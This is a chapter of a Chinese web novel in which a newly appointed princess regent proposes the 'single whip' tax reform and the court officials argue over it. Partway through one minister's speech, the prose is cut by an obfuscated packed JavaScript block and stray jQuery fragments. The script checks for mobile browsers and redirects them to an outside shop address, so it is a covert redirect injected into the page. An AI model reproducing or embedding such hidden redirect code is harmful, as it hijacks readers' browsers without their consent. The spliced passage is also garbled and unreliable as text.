第169章 摄政公主正式上任

作品:《满朝文武偷听我心声,皇位换人了

    这日,太和殿大朝会。


    晨钟九响,百官肃立。


    御阶之上,龙椅左侧增设一席紫檀雕凤座——


    这是昨日工部连夜赶制的。


    右侧则是姜肃的座位。


    而龙椅居中,空悬。


    “陛下驾到——”


    唱喏声中,八名太监抬着步辇缓步入殿。


    龙辇之上皇帝姜桓端坐其中。


    他今日未着龙袍,只一身明黄常服,面色虽仍苍白,但眼神已经恢复清明。


    他在龙椅前站定,并未落座,而是扶着赵德全的手,面向满朝文武。


    “朕病重期间,朝中诸事,皆赖雍王姜肃与安宁公主的操持。”


    皇帝声音不高,却清晰地传遍大殿,“今朕虽愈,然年事已高,精力不济。自今日起,朝政大事,由摄政王姜肃、镇国摄政公主姜稚共决。”


    他顿了顿,目光扫过全场:“六部奏折,直送摄政殿。军国要务,由军机处议决。非朕亲召,不得扰乾元殿静养。”


    话音落,满殿寂静。


    这是皇帝正式放权的信号。


    虽未表示退位,但实际已将朝政全权交予雍王父女。


    姜稚今日特意换了一身玄色织金朝服。


    这是礼部按亲王规格改制,只是将**纹改为凤纹,腰束玉带,悬挂着前不久刚赐下的“镇国摄政公主”金印。


    她立于御阶左侧,脊背挺直如松。


    姜肃则在右侧,亲王**袍外罩皇帝特赐的摄政王紫金**纹披风。


    父女二人,一左一右,拱卫着皇帝以及中间空悬的龙椅。


    “臣等遵旨——”百官齐声。


    待皇帝被搀扶退下,姜稚缓步走向那张紫檀凤座。


    她没有立刻坐下,而是转身面向百官,声音清越:


    “自今日起,每日辰时朝会,议决六部要务。军机处照旧五日一议。”


    姜稚继续道:“今日首议之事,正式推行‘一条鞭法’,改革田赋。”


    殿中顿时嗡鸣。


    “一条鞭法”这个名词,朝臣们并不陌生。


    数月前军机处议事时曾提过,但当时皇帝病重、太子谋逆,无人顾得上细究。


    如今新政甫定,摄政公主竟要第一个拿田赋开刀?


    户部左侍郎王崇率先出列:“公主殿下,田赋乃国之根本,历朝历代皆有定制。贸然改制,恐生民变!”


    “王侍郎所言极是。”姜稚神色平静,“正因是国之根本,才需革除积弊。”


    她取出一卷账册,由内侍传阅百官。


    账册是玄机阁数月来暗中查访所得,详细记录了大晟十三州田赋实情:


    “元嘉十五年,全国田赋应收白银八百万两,但实收却是五百二十万两,亏空二百八十万两。”


    “其中,豪强隐瞒田亩占九十万两,农户逃亡抛荒占七十万两。”


    她顿了顿,声音转厉:


    “更甚者,江南苏州府,去岁田赋应收四十万两,实收十八万两。而苏州知府上报朝廷的数目却是‘三十八万两’。那二十万两的差额,进了谁的腰包?”


    王崇脸色煞白。


    因为,苏州知府正是他的堂侄。


    “一条鞭法,旨在三改。”姜稚走至殿中,内侍已挂起一幅巨大的田赋改制图。


    “其一,清丈田亩。由朝廷派遣专使,会同地方官员、乡绅代表,重新丈量全国田亩,登记造册,杜绝隐瞒。”


    “其二,赋役合并。将原本按户征收的徭役、按田征收的田赋、按人征收的人头税,合并为按田亩征收的单一税银。百姓只需纳银,不必服役。”


    “其三,官收官解。税银由官府统一征收、统一解送,取消中间层层包揽,减少贪腐。”


    图上的细则清晰明了,连如何防止清丈舞弊、如何核定田亩等级、如何折算税银都一一列明。


    姜肃当即表示支持:“公主所说之法,可行。”


    “清丈田亩虽耗时费力,但一劳永逸。赋役合并,可减轻百姓负担,使其专心农耕。官收官解,则能断了地方胥吏中饱私囊之路。”


    徐清源也躬身道:“臣附议。如今田赋积弊已深,非猛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155993|191176||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    药不能治。公主此法条理清晰,若能推行,实为百姓之福。”


    但反对声更烈。


    “清丈田亩?说得轻巧!”一位老臣颤巍巍道,“全国田亩数以亿计,清丈需动用多少人力?耗费多少银钱?若遇豪强阻挠,又当如何?”


    “赋役合并,更是荒唐!”


    另一人驳斥,“自古徭役为国之常制,修桥铺路、治河筑城,皆赖民力。若改征银两,朝廷再去雇工,岂不多此一举?且银两若被贪墨,工程如何推进?”


    “官收官解更是与虎谋皮!地方官员本就贪腐成风,如今将税银全交他们,岂不是送羊入虎口?”


    质疑声一浪高过一浪。


    姜稚静静听着,等声音稍歇,才缓缓开口:


    “诸位大人所虑,本宫早有对策。”


    她拍了拍手,殿外走进十余人。


    为首的是个四十岁左右的汉子,肤色黝黑,手掌粗糙,一看便是常年劳作的农夫。他身后跟着几人,有工匠、有小贩、有书生打扮的寒门士子。


    “这位是京郊农户李老四。”姜稚指向那汉子,“去岁他家有田十亩,按旧制需纳田赋银二两,服徭役二十日。为了服役,他不得不荒废农时,秋收时粮食减产三成。”


    “而若按一条鞭法,他只需纳银三两,不必服役。这多出的一两银子,他可用来雇人帮忙秋收,或购置农具,提高收成。”


    李老四跪地磕头,声音哽咽:“公主殿下明鉴!小的…小的去岁因服役误了农时,家里差点断粮。若真能只纳银不服役,小的就算多纳些银子,也心甘情愿啊!”


    接着是那工匠:“小人原是修河道的役工,每日只得二十文饭钱。若改为朝廷雇工,每日工钱至少四十文,还能按月结算,不必担心官吏克扣。”


    小贩和寒门士子也纷纷陈情,说的皆是旧制之弊、新法之利。


    这些都是姜稚让玄机阁暗中寻访的“证人”。


    他们或许不懂大道理,但亲身经历最有说服力。


    殿中反对声渐渐弱了。